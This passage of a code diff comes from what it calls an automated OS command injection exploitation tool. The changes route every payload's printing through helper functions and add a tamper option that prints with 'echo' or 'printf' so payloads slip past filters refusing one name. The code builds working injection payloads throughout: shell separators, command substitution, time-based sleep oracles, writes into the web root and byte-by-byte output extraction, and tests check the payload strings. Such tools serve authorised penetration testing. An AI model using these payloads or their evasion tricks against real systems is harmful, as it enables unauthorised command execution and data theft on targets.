argument, printed as it is - with no line break behind it in either form, so both write the same. +def print_value(value): + if settings.PRINT_WITH_ECHO: + return "echo -n " + value + return "printf %s " + value + +# A marker, a word of letters only. +def print_marker(word): + if settings.PRINT_WITH_ECHO: + return "echo " + word + return "printf " + word + """ Whether there is an exact reading of the output to ask for on this target at all. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 33e22aea7f..04c61cd061 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -18,7 +18,6 @@ import time import random import string -import difflib from src.core.parse import cmdline as menu from src.utils import logs from src.utils import settings @@ -69,7 +68,7 @@ def basic_payload_generator(): # '--skip-calc' covers the detection phase, and the heuristic is part of it - so what the target # has to print back between the markers is a marker it had to run a command to produce. expected = marker3 - settings.BASIC_STRING = "echo " + marker3 + settings.BASIC_STRING = checks.print_marker(marker3) windows_proof = "echo " + marker3 alter_interpreter_basic_string = " -c \"print('" + marker3 + "')\"" else: @@ -78,9 +77,9 @@ def basic_payload_generator(): windows_proof = "set /a " + settings.BASIC_STRING alter_interpreter_basic_string = " -c \"print(int(" + calc_string + "))\"" - settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + - "&echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + - "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2, + # The same proof behind each separator, printed through the one command checks.print_words() names. + posix_proof = checks.print_words(marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2) + settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";" + posix_proof + "&" + posix_proof + "|" + posix_proof, "|echo " + marker1 + "&" + windows_proof + "&echo " + marker2 + "&echo " + marker1 + "&" + windows_proof + "&echo " + marker2 ] @@ -856,13 +855,13 @@ def _body(value): repeat_body = _body(settings.TESTABLE_VALUE) if real_body is None or repeat_body is None: return - noise = difflib.SequenceMatcher(None, real_body, repeat_body).ratio() + noise = checks.page_ratio(real_body, repeat_body) placeholder_body = _body(placeholder) if placeholder_body is None: return - changed = difflib.SequenceMatcher(None, real_body, placeholder_body).ratio() + changed = checks.page_ratio(real_body, placeholder_body) if changed >= max(noise, settings.STABILITY_SIMILARITY_THRESHOLD): warn_msg = param_label + " does not appear to be dynamic." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 8a6568ea79..f0f2d33ece 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -19,7 +19,6 @@ import calendar import email.utils import threading -import difflib import statistics from socket import error as SocketError from src.core.parse import cmdline as menu @@ -113,7 +112,7 @@ def _sample(request=None, response=None): second_response.close() if first_response_content != second_response_content: - ratio = difflib.SequenceMatcher(None, first_response_content, second_response_content).ratio() + ratio = checks.page_ratio(first_response_content, second_response_content) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Content similarity ratio between the two samples: " + str(round(ratio, 4)) debug_msg += " (threshold: " + str(settings.STABILITY_SIMILARITY_THRESHOLD) + ")." @@ -146,8 +145,8 @@ def _sample(request=None, response=None): """ checks.find_dynamic_content(settings.ORIGINAL_PAGE, second_page) settings.ORIGINAL_PAGE_COMPARABLE = checks.comparable_page(settings.ORIGINAL_PAGE) - settings.PAGE_NOISE_RATIO = difflib.SequenceMatcher(None, settings.ORIGINAL_PAGE_COMPARABLE, - checks.comparable_page(second_page)).ratio() + settings.PAGE_NOISE_RATIO = checks.page_ratio(settings.ORIGINAL_PAGE_COMPARABLE, + checks.comparable_page(second_page)) """ '--skip-static' reads this ratio as how similar an unchanged response can be expected to look - @@ -165,8 +164,8 @@ def _sample(request=None, response=None): third_page = checks.decode_page_body(third_response.read(), third_response) finally: third_response.close() - third_ratio = difflib.SequenceMatcher(None, settings.ORIGINAL_PAGE_COMPARABLE, - checks.comparable_page(third_page)).ratio() + third_ratio = checks.page_ratio(settings.ORIGINAL_PAGE_COMPARABLE, + checks.comparable_page(third_page)) settings.PAGE_NOISE_RATIO = max(settings.PAGE_NOISE_RATIO, third_ratio) except Exception: # The two-sample ratio above still stands; a third, better-calibrated reading is a bonus. diff --git a/src/core/techniques/boolean_based/bb_payloads.py b/src/core/techniques/boolean_based/bb_payloads.py index 33d40b0c19..ff19b8bc28 100644 --- a/src/core/techniques/boolean_based/bb_payloads.py +++ b/src/core/techniques/boolean_based/bb_payloads.py @@ -63,7 +63,7 @@ def _supported(separator): def _decide(separator, expression, arithmetic=None): if not settings.BOOLEAN_PRINTED_STATE: return _test(expression) - printing = "echo " + settings.BOOLEAN_MARKER + printing = checks.print_marker(settings.BOOLEAN_MARKER) # What follows '&&' runs only where what precedes it succeeded, which is the whole conditional. if separator == "&&": return _test(expression) + separator + printing @@ -83,7 +83,7 @@ def _decide(separator, expression, arithmetic=None): """ def _printed_through_pipe(arithmetic): marker = settings.BOOLEAN_MARKER - return ("printf '%s' " + marker + settings.PIPE_SEPARATOR + "tail -c +$(( (" + arithmetic + + return (checks.print_value(marker) + settings.PIPE_SEPARATOR + "tail -c +$(( (" + arithmetic + ") ? 1 : " + str(len(marker) + 1) + " ))") """ @@ -94,10 +94,10 @@ def _printed_through_pipe(arithmetic): counted rather than read as a character, so a build whose 'printf' signs it answers the same. """ def _piped_length(word): - return "$(printf '%s' \"" + word + "\"" + settings.PIPE_SEPARATOR + "wc -c)" + return "$(" + checks.print_value("\"" + word + "\"") + settings.PIPE_SEPARATOR + "wc -c)" def _piped_ordinal(word, num_of_chars): - return ("$(printf '%s' \"" + word + "\"" + settings.PIPE_SEPARATOR + "tail -c +" + str(num_of_chars) + + return ("$(" + checks.print_value("\"" + word + "\"") + settings.PIPE_SEPARATOR + "tail -c +" + str(num_of_chars) + settings.PIPE_SEPARATOR + "head -c 1" + settings.PIPE_SEPARATOR + "od -A n -t u1)") """ @@ -154,7 +154,7 @@ def decision(separator, TAG, output_length, holds=True): "powershell.exe -InputFormat none write " + checks.windows_output_bytes(checks.windows_output_text("echo " + TAG)) + ".length", "EQU", expected) - word = tb_payloads._output_word("echo " + TAG) + word = tb_payloads._output_word(checks.print_marker(TAG)) var = settings.RANDOM_VAR_GENERATOR if separator == settings.PIPE_SEPARATOR: measured = _piped_length(word) diff --git a/src/core/techniques/file_based/fb_payloads.py b/src/core/techniques/file_based/fb_payloads.py index cc6a3e010c..e09a5e40f3 100755 --- a/src/core/techniques/file_based/fb_payloads.py +++ b/src/core/techniques/file_based/fb_payloads.py @@ -43,7 +43,7 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): ) else: payload = (separator + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) payload = checks.terminate_payload(payload, separator) @@ -57,7 +57,7 @@ def decision_combined(separator, tags, OUTPUT_TEXTFILE): writes = [] for index, tag in enumerate(tags): operator = settings.FILE_WRITE_OPERATOR if index == 0 else settings.FILE_APPEND_OPERATOR - writes.append("echo " + tag + operator + settings.WEB_ROOT + OUTPUT_TEXTFILE) + writes.append(checks.print_marker(tag) + operator + settings.WEB_ROOT + OUTPUT_TEXTFILE) payload = separator + separator.join(writes) payload = checks.terminate_payload(payload, separator) return payload diff --git a/src/core/techniques/results_based/rb_payloads.py b/src/core/techniques/results_based/rb_payloads.py index 68644a7bda..ea87c72476 100755 --- a/src/core/techniques/results_based/rb_payloads.py +++ b/src/core/techniques/results_based/rb_payloads.py @@ -43,8 +43,8 @@ def decision(separator, TAG, randv1, randv2): else: if settings.SKIP_CALC: payload = (separator + - "echo " + TAG + - settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + checks.print_words(TAG + + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + TAG) ) else: if checks.using_backticks() or settings.WAF_ENABLED: @@ -53,9 +53,9 @@ def decision(separator, TAG, randv1, randv2): # Arithmetic expansion is the substitution pair with one more set of parentheses inside it. math_calc = settings.CMD_SUB_PREFIX + "(" + str(randv1) + "+" + str(randv2) + ")" + settings.CMD_SUB_SUFFIX payload = (separator + - "echo " + TAG + + checks.print_words(TAG + math_calc + - settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + TAG) ) payload = checks.terminate_payload(payload, separator, keep_output=True) @@ -165,17 +165,18 @@ def cmd_execution(separator, TAG, cmd): # newline left for the page to lose. payload = (separator + "printf " + TAG + - settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + "printf " + TAG + settings.CMD_SUB_SUFFIX + "%s" + - settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + + settings.CMD_SUB_PREFIX + "printf " + TAG + settings.CMD_SUB_SUFFIX + TAG + " \"" + single_line_output(cmd) + "\"" ) else: + # Printed through the one command checks.print_words() names, and the markers through the same. payload = (separator + - "echo " + TAG + - settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + + checks.print_words(TAG + + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + - settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + TAG) ) payload = checks.terminate_payload(payload, separator, keep_output=True) diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index 3758bf57c4..9c90fa83f9 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -87,7 +87,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): else: if separator in (";", "\n", "\r\n") : payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + @@ -97,11 +97,11 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): # The write leaves no output of its own, so the read right after it reads as one word - # which sequences the two without an operator between them. payload = separator + tb_payloads._timed_comparison(timesec, j, - tb_payloads._length_arg_expr(settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + tb_payloads._length_arg_expr(settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX)) elif separator == "&": payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}&&" + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]&&" + @@ -112,7 +112,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ampersand = "&" payload = (ampersand + "sleep 0" + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "} " + separator + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + @@ -193,20 +193,22 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) else: settings.USER_APPLIED_CMD = cmd + # The output and its decimals are printed through checks.print_value() and print_words(), so the + # payload uses one printing command only and the output is written back as it was printed. if separator in (";", "\n", "\r\n") : arith_operator = "<=" if operator == "-le" else "==" payload = (separator + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. settings.BYTE_LOCALE_EXPORTED + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + - "echo \"" + output_text() + "\" >" + OUTPUT_TEXTFILE + separator + + checks.print_value("\"" + output_text() + "\"") + " >" + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(j) + arith_operator + settings.RANDOM_VAR_GENERATOR + "1)))" + separator + # Transform to ASCII settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $" + settings.RANDOM_VAR_GENERATOR + "1 >" + OUTPUT_TEXTFILE + checks.print_words("$" + settings.RANDOM_VAR_GENERATOR + "1") + " >" + OUTPUT_TEXTFILE ) elif separator in ("&", "&&", settings.PIPE_SEPARATOR) and checks.substitution_nests(): arith_operator = "<=" if operator == "-le" else "==" @@ -215,9 +217,9 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth # the decimals are written last - after the delay has been scaled, since the word carrying # them is built before 'sleep' is run. Nothing here chains, so nothing is smuggled. measured = (settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + - settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + checks.print_value("\"" + settings.CMD_SUB_PREFIX + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "\"") + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) - to_decimals = (settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + to_decimals = (settings.CMD_SUB_PREFIX + checks.print_words(settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) payload = (separator + tb_payloads._timed_comparison(timesec, j, tb_payloads._length_arg_expr(measured), arith_operator) + @@ -227,14 +229,14 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth payload = (separator + settings.BYTE_LOCALE_EXPORTED + "&&" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "&&" + - "echo \"" + output_text() + "\" >" + OUTPUT_TEXTFILE + "&&" + + checks.print_value("\"" + output_text() + "\"") + " >" + OUTPUT_TEXTFILE + "&&" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}&&" + "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]&&" + "sleep " + str(timesec) + "&&" + # Transform to ASCII settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + - "echo $" + settings.RANDOM_VAR_GENERATOR + "1 >" + OUTPUT_TEXTFILE + checks.print_words("$" + settings.RANDOM_VAR_GENERATOR + "1") + " >" + OUTPUT_TEXTFILE ) elif separator == "&&" : @@ -243,7 +245,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth # The command the "&&" needs on its left, pinning while it is there. settings.BYTE_LOCALE_EXPORTED + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + - "echo \"" + output_text() + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + + checks.print_value("\"" + output_text() + "\"") + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + @@ -251,7 +253,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "sleep " + str(timesec) + separator + # Transform to ASCII settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t u1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + checks.print_words("$" + settings.RANDOM_VAR_GENERATOR + "1") + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) else: @@ -472,7 +474,7 @@ def oracle_write(separator, cmd, OUTPUT_TEXTFILE): payload = (separator + var + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + - "echo \"" + output_text() + "\" >" + OUTPUT_TEXTFILE + checks.print_value("\"" + output_text() + "\"") + " >" + OUTPUT_TEXTFILE ) return checks.terminate_payload(payload, separator) @@ -496,7 +498,7 @@ def oracle_decision(separator, TAG, output_length, OUTPUT_TEXTFILE, holds=True): return write + bb_payloads.get_length(checks.WINDOWS_CHAIN, "type " + OUTPUT_TEXTFILE, expected, "-eq") var = settings.RANDOM_VAR_GENERATOR payload = (separator + - var + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + var + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + var + "1=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + bb_payloads._decide(separator, str(expected) + " -eq ${#" + var + "1}") ) diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index ece881d11b..0117996477 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -36,7 +36,7 @@ def _output_word(cmd): indexing would have the retrieval ask for characters that are not where it was told they are. """ def _length_expr(word): - return settings.CMD_SUB_PREFIX + "printf '%s' \"" + word + "\" | wc -c" + settings.CMD_SUB_SUFFIX + return settings.CMD_SUB_PREFIX + checks.print_value("\"" + word + "\"") + " | wc -c" + settings.CMD_SUB_SUFFIX """ The same count, handed to 'awk' as an argument instead of carried in a variable. A separator that @@ -208,7 +208,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): else: if separator in (";", "\n", "\r\n"): payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" @@ -226,13 +226,13 @@ def decision(separator, TAG, output_length, timesec, http_request_method): """ payload = (separator + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==" + - _output_word("echo " + str(len(TAG))) + ")))" + _output_word(checks.print_marker(str(len(TAG)))) + ")))" ) elif separator == "&": # Backticks cannot nest, so the measurement is carried in a variable here - which '&' cannot # hand on to the command after it, leaving the '&&' below to hold it. payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + "&&" + "[ " + str(output_length) + " -eq ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + "sleep " + str(timesec) ) @@ -240,7 +240,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ampersand = "&" payload = (ampersand + "sleep 0 " + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + diff --git a/src/tamper/obfuscation/posix/printf2echo.py b/src/tamper/obfuscation/posix/printf2echo.py index 9b19c9eee4..1bbcb48559 100644 --- a/src/tamper/obfuscation/posix/printf2echo.py +++ b/src/tamper/obfuscation/posix/printf2echo.py @@ -17,9 +17,13 @@ from src.core.controller import checks """ -About: Replaces the printf-based ASCII to Decimal `printf '%d' "'$char"` with `echo -n $char | od - -An -tuC | xargs`. +About: Prints with `echo` wherever a payload prints with `printf`, and reads a byte with `echo -n + $char | od -An -tuC | xargs` instead of `printf '%d' "'$char"`. Notes: This tamper script works against target(s) with a POSIX shell. + It is for a target that refuses 'printf' by name. 'echo' is what every payload prints with + here, so none of them carries the other name - at a cost: 'echo' reads the backslashes of + what it prints as escapes on some shells ('dash' among them) and a leading '-n' as an option + on all of them, so an output carrying either may come back changed. The two pipes are the one thing this rewrite cannot be written without: 'od' reads a byte from its standard input alone, and the only way to hand it one without a pipe is awk's 'sprintf', which carries the very name this script exists to avoid. So it is written only @@ -39,12 +43,19 @@ def dependencies(): if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Every payload built from here on prints with 'echo' - said while the scripts are settled, since the +# builders read it as they build rather than having the result rewritten afterwards. +def declare(): + settings.PRINT_WITH_ECHO = True + # Say with 'echo' what the payload said with 'printf'. def tamper(payload): + declare() # A target settled as Windows after this script was accepted: 'cmd.exe' has no 'od' to read with. if settings.TARGET_OS == settings.OS.WINDOWS: return payload - # The byte is handed to 'od' down a pipe, so this is only writable where a pipe is what is proving. + # The byte is handed to 'od' down a pipe, so the byte reading is only rewritten where a pipe is what + # is proving; the rest of what prints already goes out with 'echo'. if checks.current_separator() not in ("|", "||"): return payload space = checks.current_whitespace() diff --git a/src/utils/settings.py b/src/utils/settings.py index b05cb869ce..06cb247dc3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "347" +REVISION = "348" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -537,6 +537,8 @@ def sys_argv_errors(): RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) # Random variable name (E-Z only). RANDOM_VAR_GENERATOR = ''.join(random.choice(string.ascii_uppercase[4:]) for _ in range(3)) +# Random "printf" format for a printed word and the one space it is written with. +RANDOM_PRINTF_FORMAT = random.choice((r"%s\\040", r"%s\\40", r"\\040%s", r"\\40%s")) # Path to text resources folder DATA_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..', 'data')) @@ -709,6 +711,10 @@ class HEURISTIC_TEST(object): # above is put, rather than during the commands this run sends of its own (a web root, a shell type). EXPLOITATION_STARTED = False +# Whether payloads that print a command's output print it with 'echo' rather than 'printf'. Set by +# the tamper script that trades one for the other, for a target that refuses 'printf' by name. +PRINT_WITH_ECHO = False + # Whether the target has 'awk', asked by name and without running it - there is no exact reading to # offer where it does not, so the question is not put at all. AWK_PRESENCE_CHECK = "command -v awk" @@ -900,6 +906,8 @@ def current_technique(): # Below this similarity ratio, two page fetches count as "dynamic". STABILITY_SIMILARITY_THRESHOLD = 0.98 +# Largest pair of pages still read character by character, rather than by their length alone. +MAX_COMPARISON_LENGTH = 10 * 1024 * 1024 # The two pages a question with a known answer came back with, kept so that every later answer is # read against them rather than against a threshold - what a condition changes can be two characters diff --git a/tests/test_payloads.py b/tests/test_payloads.py index 720906b5f4..ca73ecf2c9 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -1601,13 +1601,13 @@ def test_the_output_goes_in_quoted_and_the_markers_do_not(self): # A script that writes the payload out differently puts its own characters inside the markers # too, and those are stripped only where the shell still reads them. payload = self.payload() - self.assertIn('%s' + settings.CMD_SUB_PREFIX + 'echo TAG' + settings.CMD_SUB_SUFFIX + 'TAG', payload) + self.assertIn('%s' + settings.CMD_SUB_PREFIX + 'printf TAG' + settings.CMD_SUB_SUFFIX + 'TAG', payload) self.assertIn('"' + settings.CMD_SUB_PREFIX + 'LC_ALL=C awk', payload) def test_a_substitution_that_cannot_nest_reads_it_the_plain_way(self): settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "`", "`" payload = self.payload() - self.assertIn("echo TAG", payload) + self.assertIn(checks.print_marker("TAG"), payload) self.assertNotIn("awk", payload) def test_a_script_rewriting_the_payload_reads_it_the_plain_way(self): @@ -1615,7 +1615,7 @@ def test_a_script_rewriting_the_payload_reads_it_the_plain_way(self): # is in effect the output goes in as it always did - a collapsed answer, not no answer. settings.TAMPER_SCRIPTS["space2ifs"] = True payload = self.payload() - self.assertIn("echo TAG", payload) + self.assertIn(checks.print_marker("TAG"), payload) self.assertNotIn("awk", payload) def test_a_target_without_the_tool_reads_it_the_plain_way(self): @@ -1660,3 +1660,130 @@ def test_no_substitution_is_left_inside_a_string_the_interpreter_parses(self): def test_the_command_is_still_run(self): for name, payload in self._built().items(): self.assertIn(settings.CMD_SUB_PREFIX + "echo Hello" + settings.CMD_SUB_SUFFIX, payload, name) + +class EachPayloadPrintsWithOneCommand(unittest.TestCase): + """ + A payload prints with 'printf' or with 'echo', never both: a filter refusing either name would + otherwise refuse the payload over a word the other half did not need. 'printf' is the default, + since it prints its arguments as they are; the tamper script trading it for 'echo' 